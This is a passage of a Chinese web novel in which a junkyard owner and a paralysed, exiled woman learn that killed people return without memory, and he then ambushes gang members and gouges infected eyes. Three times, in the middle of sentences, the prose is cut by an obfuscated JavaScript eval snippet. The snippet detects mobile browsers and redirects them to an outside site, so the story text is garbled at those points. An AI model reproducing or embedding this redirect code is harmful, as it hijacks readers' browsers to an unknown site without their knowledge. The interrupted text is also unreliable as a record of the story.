“好了。”陆行湛有些心虚,他面上看着还是沉稳的,手指连着指套从沈相兰口中抽出来,带起一条透明晶莹的细线。 他抽了张纸,把沈相兰的嘴角擦干净。 “祖宗您先睡会。”陆行湛摘下指套往垃圾桶一丢,很是利索地跑了,不给沈相兰留下任何一丝秋后算账的机会。 他要沈相兰的身体数据当然是有原因的。 好吧陆行湛其实知道沈相兰不太喜欢肢体接触,但是沈相兰平时根本没有情绪波动,只有在跟他有肢体接触的时候才勉强带点人气。 该说不说,陆行湛觉得自己也是贱,喜欢冒着生命危险去惹人家。 好吧,其实他喜欢看沈相兰不爽但是反抗不了的样子,挺好看的,看一次爽一次。 这种事情就不要让沈相兰知道了。 话归正题,陆行湛打算给沈相兰做一套辅助性的外骨骼。 沈相兰身上的伤他是没办法了,但是他能想点办法让沈相兰拥有一定自主活动的能力。 沈相兰现在最需要什么呢? 说话?她现在只能借助规则线跟陆行湛对话,陆行湛觉得自己还是很好使的,他可以当祖宗的传声筒代言人。 再说了,沈相兰一天只说几句话啊,她就算能说也不爱说。 这个需求可以延后。 行动?她有轮椅了,陆行湛倒是能把她的轮椅改成电动的,可惜沈相兰身上根本找不到一个能活动的部位,陆行湛总不能把传感器贴她眼皮上。 沈相兰百分百会喜欢这个,但是陆行湛得思考一下怎么实现需求。 她的情况太复杂了。 陆行湛咬着笔杆,他根据经验弄出来了一个简略版本的草图,画完这个之后,陆行湛感觉自己的精气神都没了。 不管什么时候,画图都很消耗人。 可惜唯一一张床被沈相兰占了,被炸得黢黑的房子还没有扫干净,那台清洁机器人目前还在兢兢业业地擦地。 他的废品回收站结构简单,总共就三个建筑,工作室仓库还有居住的地方。 住的地方已经被炸了,里面只有一摊灰。 工作室跟住所连在一起,被波及了,墙炸了一块,在这工作还行,睡觉是真不行。 陆行湛数了又数,悲哀地发现他连个打地铺的地方都没找到。 最终陆行湛带着毯子推开了仓库的门。 仓库里睡着沈相兰。 仓库里倒是干净的,但是杂物太多,摆下一张床之后就没几个空地了。 陆行湛把目光放在了沈相兰的床边。 沈相兰没睡,她不是很需要睡眠,也做不到毫无芥蒂地在陌生的地方失去知觉。 陆行湛蹑手蹑脚地走进来,看见了闭着眼睛的沈相兰。 仓库里面光线昏暗,外面立着照明的路灯,光线从门缝溜进屋里,有一束正好落在了沈相兰脸上。 她的脸被一束皮肤照得透亮,末端微翘的睫毛在眼睑处拉出了长长的影子,阴影与光束的交界处带着薄薄的血色。 她现在看上去有一种圣洁温柔的感觉。 陆行湛还是下意识收敛了动静,生怕惊扰了沈相兰。 沈相兰听见了一阵细小的悉悉索索的声音,她听声辩位很准,很快就确定了陆行湛的位置。 他躺在了她的床边。 沈相兰睁开了眼睛,可惜她无法低头,看不见陆行湛,只能看见陈旧的仓库屋顶。 *** 陆行湛睡了一觉,这一觉睡得其实并不好。 他做了一个不太好的梦。 梦里他似乎被绑在一个什么东西上,四肢身躯泡在一团暖洋洋的水里面,一个尖锐到变调的声音像针一样,一寸一寸往他太阳穴里扎,刺得他神经一跳一跳的。 那个声音听着很熟悉,但里面的话不太中听。 【蠢货!该死的蠢货!】 【你把一切都搞砸了,你到底在干什么?!】 【你像条狗一样围着沈相兰打转!】 “那不然呢?不这样我还能干啥,再说我乐意,关你屁事!”陆行湛反骂回去。 原本浸泡着他的液体忽然沸腾起来,似乎有什么东西抓着它的头发在气急败坏地嘶吼,但被陆行湛选择性忽略了。 什么东西啊,有病就治! 陆行湛睡了一觉犹如打了一架,他醒来的时候头脑昏沉,没有半点神清气爽的滋味。 梦里的内容他其实记不太清了,反正他做了个不是很好的梦。 他揉着脑袋,抬头看了看时间,现在是白天十一点。 是有点晚了。 “祖宗,你睡得怎么样?”陆行湛看向沈相兰。 沈相兰是醒着的,她睁着眼睛,那双浅棕色的眼睛漂亮得像玻璃珠,陆行湛对上她的眼睛下意识舒展五官,脸上带了一个灿烂的笑容。 “最近一直在下雨吗?”沈相兰定定看了他好几秒,忽然问了他一个毫不相干的问题。 “是啊,最近一直在下雨,我遇到你的时候都还在下雨呢,现在又下起来了,不过这次的雨没有上次大。” 沈相兰没说话。 “我们这边就是雨水多,整个缄默海也就扫尾亭那边的雨会少点,其他地方都大差不差。”陆行湛说,“不过遇到你的那天晚上雨确实很大,我也是第一次看见那么大的雨。” 陆行湛不知道沈相兰想听什么,他把自己知道的东西一股脑全倒出来了。 沈相兰很有耐心,她静静等待陆行湛说完,在他说完之后,她又问了一个毫不相干的问题:“你还记得张秋冉吗?” 陆行湛开始觉得莫名其妙了他回答道:“我当然记得他,怎么了祖宗?” “我记性没那么差的,祖宗你想问什么可以直接说,我保证知无不言,言无不尽。”陆行湛半开玩笑朝着沈相兰保证。 “你还记得你杀了他?”沈相兰把陆行湛的话听了进去,一开口就把陆行湛镇住了。 “……记得。”陆行湛缓了几秒才回答。 沈相兰又沉默了。 陆行湛摸不清沈相兰的想法,他被沈相兰这一串问题问得脑子发懵,但在心底,又有一个声音告诉她,沈相兰这样问绝对有她的打算。 只是陆行湛不明白她要做什么。 沈相兰没想到陆行湛真的记得。 这是意料之中,也在意料之外。 她想,她真的需要确认一件事情,是缄默海的人都这样特殊,还是只有陆行湛是特殊的。 沈相兰虽然这样想,但是她很清楚,这样的人绝对在少数。 说不定整个缄默海只有陆行湛一个。 毕竟,中心区加内中外三大区十四分区,也就出了沈相兰一个异类。 他知道死亡,能记住杀人的事情也不奇怪。 在中心区的时候,沈相兰就发现了。 人类不能猎杀人类。 中心区的管理混乱,根本不成体系,一群蠢货莽夫坐在看不见前路的驾驶舱里胡乱冲撞,身后的车厢摇摇晃晃。 但是中心区的体系并没有崩盘。 她曾经亲眼看见一个人杀了另一个人,但是被杀的人在第二天就回来了。 没人知道那人曾经被杀过,包括杀他的人和他自己。 那场蓄意已久的猎杀,只余沈相兰一个见证者,也只有沈相兰记得。 沈相兰找了无数人询问试探,最终确认一条规律。 人类无法猎杀人类,就算发生了杀人事件,也会被所有人遗忘。 沈相兰曾以为自己是异类,但现在出现了陆行湛 他也记得。 被他猎杀的人还会回来吗? 沈相兰不知道,但是她可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449191|185245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确认一下。 “你知道张秋冉住在什么地方吗?”沈相兰再次问。 “……祖宗,你能先告诉我,你到底想确认什么东西吗?”陆行湛语气虚弱。 他认识沈相兰满打满算还没到一天,但陆行湛在沈相兰面前可谓是有求必应有问必答。 很明显,沈相兰看起来就没有给人解释的习惯,她身上有着久居上位者的通病。 但这次,陆行湛觉得他需要问清楚。 他感觉自己似乎知道了一些不得了的东西,这些东西会改变他的现状。一切的一切,在未知的深渊面前,都渺小如尘埃。 “你现在可以去找找,张秋冉应该回家了。” 陆行湛想问清楚,但沈相兰已经把眼睛闭上了。 这是拒绝交流的意思。 陆行湛站在原地想了又想,最终拨通了露西的号码。 没办法,露西是他在楼东唯一的人脉。 “亲爱的露西,你知道张秋冉吗?”号码刚刚拨通,陆行湛的声音清晰穿了出去,见缝插针一样落在了露西耳中。 “我当然知道张秋冉,我还知道张秋冉快要去找你了,你自求多福,死了别让楼东的人知道我跟你有关系。”露西很是冷漠,她才被陆行湛坑过,给不了他半点好脸色,没等陆行湛把话说完就挂断了通讯。 “张秋冉要来找我?”陆行湛忍不住皱眉。 他把张秋冉杀了啊,理论来说张秋冉不是死了吗? 死人可以从地底爬上来? “祖宗,您老人家可怜可怜我,能不能把事情说明白?”陆行湛转头骚扰沈相兰。 他蹲在床边,把沈相兰的脑袋别过来,上半身就趴在沈相兰面前,絮絮叨叨说了一堆有的没的。 陆行湛的胆子很肥,他现在也是知道沈相兰拿他没办法,都敢上手去晃沈相兰的胳膊。 他灼热的身躯很有存在感,沈相兰能感受到陆行湛身上的气息。 每个人的气息都是独一无二的,他的体温偏高,血液在血管中流淌,鲜活炽热的气息从血肉深处蒸腾出来,待着薄薄的汗味,组成了沈相兰对陆行湛的所有的认知。 沈相兰看烦了把眼睛闭上,她可以屏蔽视觉,却无法屏蔽听觉和触觉。 有时候越不想要什么,什么东西就越明显。 沈相兰被烦得没办法了,等她再次睁眼,那双带着无机质般冷漠色泽的眼睛都开始显露凶相。 “有时间找我说话,你不如想想怎么对付张秋冉,你打不过他。” “祖宗,你是在关心我吗?”陆行湛听到这句话立刻暂停了施法,他第一次从沈相兰口中听到了类似关心的话,还怪感动的。 沈相兰说句话都不容易,现在沈相兰居然愿意抽空关心他。 她人其实挺好的,就是不善言辞。 现在他跟沈相兰待久了,真是熬出头来了。 看吧,这就是陪伴的力量! “放心祖宗,虽然我打不过姓张的,但我不会站着挨打的,之前那个是意外,正常情况下我不会这样。”陆行湛信誓旦旦地保证。 他说话的时候为了让沈相兰看见他的决心,猛一下从床边站起来,结果因为蹲久了脚麻没站稳,哐当一下摔到了沈相兰身上。 他的整张脸撞到了沈相兰腹部偏上的位置。 腹部是一个人最脆弱的位置,内脏密集又没有骨骼保护,是不能被伤的地方。 尤其是沈相兰还是个病号,她身上的伤还没好全,被陆行湛那么一撞,陆行湛都怕把她撞出点事情来。 “祖宗你没事吧,我不是故意的,我发誓我没打算害你!”陆行湛慌张爬起来,结果他又磕到了沈相兰的肋骨。 沈相兰一身金属骨头,陆行湛那么猛然一磕,把鼻子磕到了,鲜红的鼻血留下,滴到了沈相兰身上。 沈相兰其实相信他不是故意的。 正常人想要演蠢货演不出来那么真。 “我没事,你看好你自己。” 陆行湛着急忙慌爬起来,他还没止血,张秋冉嚣张的声音又传了过来。 “陆行湛,你要是乖乖把回收站让出来,我可以考虑放过你!” 陆行湛听到了熟悉的汽车发动机声音。 他有了种不祥的预感。 “张秋冉那个智障不会又带了十三个人过来吧?”他倒吸了一口凉气,鼻血淌得更欢了。 8. 气息 陆行湛紧急堵住了自己的鼻孔,他现在低头还能看见身上鲜红的规则线,一路向未知的远方蔓延。 好吧,怪物其实不算什么事,有沈相兰坐镇,什么怪物来了都得当孙子。 但陆行湛不想再跟张秋冉演一遍了。 直觉告诉陆行湛,越少人发现沈相兰的特殊之处越好。 虽然沈相兰不在乎这点,但是陆行湛得在乎。 那他得想办法弄死一个人。 怪物什么的,老老实实充当沈相兰的通话助手吧,其他东西就犯不着它出场了。 在知道人被杀了不会死之后,陆行湛就开始无所顾忌了。 他还记恨着张秋冉想抢他地盘的事情。 “祖宗你先躺一会,我马上就把张秋冉带到你面前来。”陆行湛擦了擦沈相兰身上滴落的鼻血,他假装什么都没发生,把毯子拉高了点,盖住了沈相兰衣服上的血迹。 沈相兰并不记得她对陆行湛说过想去看张秋冉的话。 但她现在不想提醒陆行湛,随他去吧。 “你很重视那个人类,你就不担心他被杀吗?”怪物再次冒出来。 “你怎么说话的,我怎么就要被杀了?”陆行湛反问。 怪物心想谁问你了,但是他不好明说,只能怪笑几声,讥讽道:“你自己没点数吗?” 怪物可是看了陆行湛被一群菜鸡摁在地上无法动弹的模样,就他这样的还敢往外夸海口,真不怕大风闪了腰。 再说了,张秋冉又不是一个人来的。 他还带着十来号小弟呢。 就陆行湛这个说大话的光杆司令,他拿什么跟人拼? 陆行湛啧了一声,他很看不惯怪物,在这一点上他跟怪物倒是格外默契,互相看不上。 “你来干嘛,放心,这里没有你出场的机会。”陆行湛说,“这里不会超过十五个人,你找个地方凉快待着去吧!” 怪物笑了,它的笑声尖锐扭曲,格外刺耳。 陆行湛没把它当一回事。 陆行湛实在多虑了,这儿没有十五个人,但是跟他没关系。 别说现在没机会了,就算是有机会它也不敢动,它现在身家性命全在沈相兰一念之间,但凡它敢生出忤逆沈相兰,沈相兰分分钟就会把它处理掉。 怪物也是想活着的。 “话说你还记得张秋冉吗?”陆行湛想起了另一件事,“你记得张秋冉是怎么回去的吗?” “我当然记得,他还能是怎么回去的?”怪物觉得奇怪,“他不是没来吗?” “没来?”陆行湛心想不对吧,要是没来他杀的算什么? “是啊,他叫了十四个人来围堵你,你被一群人摁地上打。”怪物的声音里带着一股理所当然的味道,“怎么,你怕了?那个叫张秋冉的一个估计能打你十个,你连他的小弟都打不过,真菜啊。” 陆行湛身上汗毛都竖起来了。 事情不对了,他杀张秋冉的时候就在怪物眼皮子底下,当时他跟张秋冉甚至还连着怪物的规则线。 怪物怎么会不记得? 这简直是恐怖故事。 陆行湛记得很明白,他举着铁锤一下下砸扁了张秋冉的脑袋,骨骼残渣混合血肉被打烂的触感隔着手柄传递到他的掌心上,他现在都还记得张秋冉血液溅射到他身上的触感。 没人记得张秋冉已经被杀过一次了,包括张秋冉本人。 陆行湛敢对天发誓,张秋冉要是记得这件事,他就不会再踏入回收站半步! 陆行湛忽然有种感觉,就算他现在冲出去告诉张秋冉这件事,张秋冉都只会觉得他脑子有病。 他忽然明白沈相兰问他的那些问题了。 “祖宗,你是不是早就预料到这种情况了?”陆行湛问。 “什么情况?你们说什么了?”怪物问,“你们用我规则线说话,怎么还能聊出来我不知道的事情?” “你不知道的多了去了!”陆行湛恶声恶气,“别打岔啊,祖宗你说句话啊。” “你已经知道了。”沈相兰的声音冷淡。 陆行湛经历的正是她当年所经历的。 时隔太久,沈相兰已经忘记当时的情绪的,应该没有陆行湛那么外显。 但沈相兰当时性格没那么好,质疑她的都被她收拾过,导致她现在还被中心区的人追着骂。 不重要了,都是过去式。 现在沈相兰已经被中心区流放了。 陆行湛本来还想继续问的,但是他忽然察觉到了一股极其细微的情绪波动。 ……来自沈相兰。 沈相兰这人看着就是一个冷心冷清的模样,整个人像是无机物一样,感觉摸上去都是冷淡冰凉的触感。她不管经历什么都是这副模样,身上没有什么人气,好似七情六欲从她身上彻底剥离。 她给人的感觉像匕首上闪过的寒芒,锐利冰凉,单一纯粹。 借助怪物的规则线,陆行湛才能感知到她冷面之下的其他情绪。 她的情绪很细微,但并不是没有。 ……她当时发现这种事情的时候,到底是什么心态呢? 陆行湛现在可以找沈相兰寻求真相与认同,沈相兰当年应该就只有她自己。 他不是沈相兰,他与沈相兰的性格堪称南辕北辙,陆行湛无法想象沈相兰当时的感受,但她应该也是难受的。 陆行湛感觉自己的心脏有点不舒服,一股酸涩钝痛的感觉自心脏蔓延开来。 他不能是在心疼沈相兰吧? 这倒也大可不必,沈相兰放哪不是个祖宗模样,心疼她还不容易心疼他自己。 他现在被沈相兰当狗使唤呢。 “没事了祖宗,我现在就去把张秋冉给你抓回来!”陆行湛忽然抬高音量。 他这句话不是依靠怪物的规则线说的,纯靠自己的嗓子在吼,声音层层递减,落入沈相兰耳中。 ……他经常干一些沈相兰不理解的事情。 也还好,沈相兰目前还能容忍他。 沈相兰自认是一个包容的人。 *** 张秋冉可谓是有备而来。 他在楼东算一个小中层,脱离了喽啰的阶级,但是也没高到哪里去,上面的人使唤他比他使唤手底下的小弟要狠多了。 比如现在,他被迫干起来了强盗的活。 他对废品站其实没啥想法,但上面要废品站,他就得想办法把废品站弄回来。 至于被抢了废品站的陆行湛……搞笑,他连自己都顾不上了还要顾及陆行湛? 那陆行湛也是命硬,规则都没把他弄死,还得张秋冉带人再上一次。 出发前张秋冉把能叫的人全都叫上了,十五人以上聚集会触犯怪物的规则,张秋冉为了快速解决陆行湛,打算带着十四个人出发。 在出门前,张秋冉感觉自己的右眼痒痒的,他摸了摸眼睛,又感觉没啥问题,一切如常。 小弟们站成一排,张秋冉摸着右眼一个个点过去。 “多了一个……”他喃喃自语。 “没多啊老大,”一个小弟笑嘻嘻地接话,“要是多了个人,怪物早就来杀我们俩,现在怪物可没来。” 张秋冉板了张臭脸,指着刚刚说话那个小弟,语气不善道:“你,队,就是多了你,你现在给我滚回去!” 不知道出于什么心态,张秋冉踢走了一个人,最终只带了十二个人过去。 这一行为并没有缓解张秋冉不对劲的情绪,越靠近废品站,张秋冉心里不安的感觉就越来越明显。 缄默海又下起了雨,这里的雨就是这样,一下起来就没完没了,雨水和泥土混合的腥气很让人倒胃口。 但张秋冉闻到了一股血腥味。 “你们有闻到血腥味吗?”张秋冉问手下小弟。 他带来的十二个小弟全部摇头。 张秋冉怀疑自己出现幻觉了,但血腥味真实存在,并且越来越浓郁。 ……就好像是从他身体里流出来的血。 他照了照镜子,镜子里的人其实一如既往。 张秋冉是个二十五六的年轻人,小麦色偏深的皮肤,脸部线条流畅,长相带点凶相,右眼紧闭,原本眼球该在的地方凹下去一块。 好像是有点奇怪,但张秋冉就长这样。 还没等他思考出个所以然来,汽车底下忽然传来一个响亮的爆炸声,强冲击力骤然迸发,一下子把这辆小汽车炸翻了身子。 爆炸声不止有一声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449192|185245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张秋冉十三个人分了三辆车,他有几辆车,爆炸声就有几起。 滚滚浓烟在雨水中不太明显,但身处其中的人无法忽略这股浓重的火药硝烟气息。 陆行湛有些嚣张的声音从远处传来:“就他们楼东的人能用炸药啊,我也能用,谁要跟他们十来号人打,我又不是脑子有病,你说对吧祖宗,人要学会扬长避短!” 其他人的情况张秋冉不清楚,他被爆炸声冲得头昏脑胀,废了好大力气爬出来,就看见陆行湛提着一根棒球棍站在外面等他。 陆行湛朝着他扯出来一个堪称挑衅的笑。 张秋冉还没来得及发作,陆行湛就一棒球棍把他劈晕了。 “你下手再重一点就可以把他杀掉了。”怪物刻薄点评。 陆行湛现在不想看见怪物,但是怪物并不怕他,怪物挑衅起陆行湛来格外顺滑。 陆行湛怀疑怪物是把在沈相兰那里受到的怨气全撒他身上了。 这年头不仅人不要脸,怪物也不要脸。 陆行湛真觉得他怪难混的。 他没理会怪物,手上稍微下了点力气,把张秋冉带来的十二个小弟全送回去了。 第一次杀人的手感刻骨铭心,现在杀人就像切瓜砍菜了。 陆行湛提着棒球棍朝着人后脑勺下手的时候,感觉自己是个冷漠无情的屠夫,好似已经提刀落刀无数遍,血腥杀伐在日复一日的重复中消磨殆尽,只留下了机械的动作。 他实在是杀了太多人了,已经忽略了一切可忽略的东西,切人跟切瓜果蔬菜一样。 这个想法冒出来的时候,陆行湛都要把自己逗笑了。 “祖宗,我还是厉害的吧,我真没有那么菜。”陆行湛对沈相兰说,他语气里带着一丝邀功请夸的意味,“您等会啊,我现在就把张秋冉扛到您面前来。” 一提到沈相兰,怪物就偃旗息鼓了。 陆行湛哼笑一声,扛着张秋冉往回走。 别说,张秋冉笔沈相兰要轻上很多,陆行湛扛了一阵,感觉不太对劲。 他扛着沈相兰就算了吧,沈相兰是真祖宗。 这个是个啥啊,这是个阶下囚,阶下囚要什么待遇。 陆行湛觉得自己也是昏了头,他想通之后把张秋冉撂在地上,拽着他的衣领往前走。 张秋冉被一路拽进仓库,陆行湛随意把他丢一边, 他身上带了点雨水潮湿的冷气,陆行湛用热水冲了手,朝着沈相兰走过去。 沈相兰听见他的脚步声就会有不好的预感。 果不其然,陆行湛半蹲在床上,他掀开沈相兰身上盖着的毯子,把沈相兰抱了起来。 薄毯在沈相兰身上盖久了,就算沈相兰再冷淡,她终究还是一个活人。 陆行湛第一次在她身上感受到暖意。 她身上的暖意是很轻很飘渺的暖意,像是层层细纱轻微晃动摩擦皮肤带来的温度,不明显,不温暖,但是真实存在。 温暖之后,皮肤里会透出来暖融融的香气。 陆行湛感觉自己闻到了属于沈相兰的独有香气。 “祖宗,你得多穿点了,缄默海这里风大。”陆行湛抱着沈相兰说。 沈相兰的体质跟常人不一样,她能适应高温极寒天气,缄默海这点风雨对她没什么影响。 唯一有影响的是陆行湛。 他身上的温度存在感过于强烈,强烈到沈相兰都无法忽视。 她觉得多穿点衣服也不是不行。 但是,“你为什么还不让我下来?”沈相兰疑问。 现在她还在陆行湛怀里,这次陆行湛抱她的姿势是公主抱,他的一只手落在背部环住脖颈,另一只手扣在膝盖弯往上大腿的位置。 沈相兰几乎被笼罩在他的怀里,她感觉自己都要染上陆行湛身上的气息了。 “啊?哦哦哦祖宗你等一下,你有没有觉得我的臂力比之前好了,我现在都能把你抱起来了,我没别的意思,我就是想试试我能能抱你多久……” 陆行湛一通糊弄,勉强算是把这件事揭过去了。 他把沈相兰放在轮椅上的时候,忽然生出来了一股不舍的情绪来。 ……他舍不得沈相兰身上独特冷淡的气息。 9. 楼东 “张秋冉的右眼不见了。”陆行湛把沈相兰放下之后生硬转移话题。 这在沈相兰的预料之中。 中心区被挖掉右眼的人,他们的眼睛也没回来过。 她很想知道外七区究竟有多少人的眼睛变色,他们在眼睛变色之后会出现什么变化。 这种变化必然是不好的变化,但沈相兰不知道这代表着什么,是什么东西让人类出现这种变化。 中心区与外七区之间的“墙”很厚,很明显,这种不详的变化并不局限于某一个大区。 沈相兰思索着,她想做的事情很多,可惜她现在根本无法自主行动。 虽然很不想承认,但是沈相兰现阶段必须依靠陆行湛。 陆行湛不知道沈相兰所想,他现在根本不敢看沈相兰,甚至陆行湛感觉他身上还萦绕着一层浅浅的,独属于沈相兰的气息。 陆行湛感觉自己在找死。 好在还有张秋冉,陆行湛花了点功夫把被敲晕的张秋冉弄醒,提到了沈相兰面前。 他也就这个作用了。 张秋冉醒来的时候看见的是轮椅冰凉的金属框架,陆行湛拽着他的脑袋往上提,把他拖进了沈相兰的视线范围之内。 他瞬间意识到了自己的处境,一挣扎发现自己身上被麻绳捆了个严严实实。 错愕抬头间,他对上了沈相兰的视线。 轮椅上的年轻女人有种别样的压迫感,他在对视的一瞬间就被镇住了。 张秋冉原本感觉自己身体不太对劲,但是在看见沈相兰之后他感觉什么都好了。 “你是谁?”张秋冉警惕问道。 “哥们你有点阶下囚的意识好吧,你以为你在问谁?”陆行湛冷笑,“把你知道的事情从头到尾都说一遍。” 张秋冉觉得他跟陆行湛没什么好说的,但陆行湛不那么认为。 说来也是奇怪,陆行湛明明只是一个普通收废品的,但张秋冉看见他会觉得头痛,他隐隐生出来了错觉,好像他的头被什么东西狠狠砸过一样。 这当然不可能,要是真被砸过,张秋冉就不会站在这了。 再说了,就算真有人砸他头,那个人也不能是陆行湛。 “楼东看上了你这块地,你不肯让出来,我们自然只能想点其他办法拿到这块地了。”张秋冉说这句话的时候极为理所当然。 “你们要我回收站干嘛?”陆行湛想不明白了,“你们楼东的地盘还不够大啊,不是我说,你们要来有什么用?” “关你屁事。”张秋冉语气冷漠。 这下好了,陆行湛炸了。 他都不知道张秋冉怎么敢用这个语气跟他说话,真不过了啊? 沈相兰那么对他就算了,沈相兰不一样,沈相兰单开一列。 你张秋冉凭啥啊? “你最近见过什么人?”沈相兰问。 张秋冉身上的规则线没了,他听不见沈相兰说话。 陆行湛从善如流,他精准找到自己的定位,对张秋冉说:“我祖宗问你话呢,你最近见过什么人?” “我?我最近能见什么人,在缄默海见人有被杀的风险,我们楼东一般用通讯联系。”张秋冉嗤笑,“你们也是好笑,一个没用收废品的,一个瘸子哑巴,两个废物凑一块正好登对!” “我奉劝你们把我放了,你们惹不起楼东!” 陆行湛脸色变了。 楼不楼东的另外说,他实在是没想到张秋冉那么不知死活。 不是哥们,骂他就算了吧,陆行湛自认脸皮厚被骂几句没什么,但你骂轮椅上坐着的那位祖宗,你是真活腻了。 “不会说话就把你的狗嘴闭起来。”陆行湛呵斥张秋冉,他头皮发麻,都不敢回头去看沈相兰。 沈相兰在没受伤之前是个厉害角色,这样的人物绝对顺风顺水身居高位,一下子落魄成这样,心里绝对有落差。 陆行湛都不敢多问,就怕自己踩雷,结果张秋冉这个蠢货一下子把能踩的雷全踩了。 就算是事实你也不能说出来啊! 他飞速把张秋冉敲晕,换了一副乖巧纯良的表情看向沈相兰,语气里带小心翼翼的讨好:“祖宗,这人脑子有问题,你想找他接触过的人很简单的。” “张秋冉是楼东的人,楼东的人眼高于顶,一般只跟自己人联系,我们去找楼东就好了。” “楼东。”沈相兰垂眸思考。 这似乎是她思考时的一个习惯性动作,陆行湛有注意到,沈相兰想事情的时候眼睛都是半垂着的,她的睫毛疏密正好,末端会有一个上扬的弧度。 “缄默海有几个势力?” 沈相兰想,楼东出现得太频繁了。 外七区的规则大多限制活动,这里不该生出来这样嚣张的势力。 陆行湛心想来了。 这是沈相兰第一次问缄默海的势力组成,他之前暗搓搓提了好几次也没见沈相兰感兴趣。 恭喜张秋冉,他给楼东引来了大麻烦。 “缄默海的势力有楼东、南泊、暗巷和扫尾亭,离我们比较近的就是楼东,楼东的人行事作风很是嚣张,喜欢整一些奇奇怪怪的动静。” “南泊的存在感很低,人狠话少,暗巷的话,他们主要干一些其他‘杂活’,跟其他势力不是一回事。” “扫尾亭是个疯子聚集地,不过他们的疯法跟楼东的疯不一样。” 陆行湛简单总结了一下缄默海的势力特色,他说着说着自己开始苦笑了,“也不知道是怎么回事,楼东那群人盯上了我家废品站。” “祖宗,我带你去逛逛废品站吧!” 陆行湛说这句话是用开玩笑的语气说的,他真不觉得沈相兰想要去看他的回收站。 谁知道沈相兰点头了。 她真想看啊。 实不相瞒,陆行湛本人都不是很想看。 他看了看外面的雨,语气艰难道:“那你得等一会,我现在得去把三轮车的尸体捞回来再拼回去。” 陆行湛说着说着忽然有了一股命苦的感觉:“祖宗,短短一天,我的三轮车和货车都没了。” 沈相兰没说话。 她感觉陆行湛还是太穷了,但沈相兰如今寄人篱下,她还是少说为妙。 陆行湛其实不太想去修车,好吧,他自己也嫌弃那辆老旧小破三轮车。 “我猎杀的怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449193|185245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物,它的规则是什么?”沈相兰的换了个问题。 “啊,那只怪物的规则是晚上九点必须睡觉,怎么了祖宗?” “现在还没人知道这条规则消失了。”沈相兰说,“你知道楼东势力的人住在哪里吗?” “祖宗,你是想……?”陆行湛被这个想法镇住了。 “我不知道,不,我等会就知道了!”陆行湛忽然兴奋起来。 “您等会啊,我现在就去给您办事!” 陆行湛一下子就跑出去了,沈相兰看着他的背影,微微垂眸。 *** 夜晚,雨停了。 张秋冉的上线领导盯着时间等了许久,在时间走到将近夜晚九点的时候,他还没等来张秋冉的消息。 上线领导是一个三四十岁的中年男人。 “张秋冉也是个废物,连一个开废品站的都搞不定,要是再搞不定……”男人说着说着,他忽然打了个寒颤。 ……没完成任务会发生很可怕的事情。 要是张秋冉还完不成任务,就需要他出发了。 连一个普通人都解决不了,张秋冉可以被抛弃了,主上会让他意识到玩忽职守是需要付出代价的。 时针指向九点。 没完成任务很可怕,招惹怪物也很可怕。 男人轻手轻脚躺在床上,他闭上双眼调整呼吸,伪装出一副睡着的模样。 没办法,任务没完成,他根本睡不着。 该死的张秋冉,这一切都是张秋冉的罪过! 就在中年男人愤愤不平的时候,外面空旷的街道响起来了汽车发动机的轰鸣声。 ……现在不是九点了吗? 谁还敢在外面游荡? 又是一个不要命的蠢货,比张秋冉还蠢! 他本来不该在意这些蠢货,但是发动机的声音越来越近,最后停在了他的门前。 接着是一声巨响,有人拿着东西在暴力破开他的门! 究竟是谁,他可是楼东的人,这里是楼东的地盘! 缄默海谁不要命来惹楼东的人,总不能是扫尾亭的那群疯子过来了吧? 这种罔顾规则的事情只有扫尾亭的人能干出来,但是扫尾亭的人来找楼东麻烦也不该来找他! “祖宗你等会啊,锤子破不开他的门,你等我去换个工具。”一个年轻清亮的男声穿过门板与墙壁,传入了中年男人耳中。 他感觉这个声音有点耳熟,但是一时半会想不起来。 门外传来了电锯的声音。 “果然还是要上硬家伙。”陆行湛感慨。 他放下电锯,推着沈相兰走进男人的屋子,一路畅通无阻走到了卧室,站在了中年男人的床边。 中年男人气得发抖,但他还记得怪物的规则,根本不敢轻举妄动。 他肢体僵硬,却还保持着熟睡酣眠的表象。 “睡眠质量真好,”陆行湛再次感慨,他一边说一边掀开了中年男人的右眼眼皮,小巧的手电筒变换角度,陆行湛在他眼中看见了熟悉的东西。 莹绿色通透如镜面的光泽,还有瞳孔中蠕动的细线。 这是今晚的第三个。 10. 挖眼 陆行湛已经可以很熟练地挖人眼珠了。 楼东的人有一种信念感,就算被他扒开眼皮挖眼珠都不会从床上跳起来。 跟他们比,陆行湛觉得自己还是差了点火候。 他熟练地往眼球上淋柴油再点燃,明亮带着幽绿的火焰熊熊燃起。 盯着火光,陆行湛恍惚觉得他们很像是无恶不作的反派。 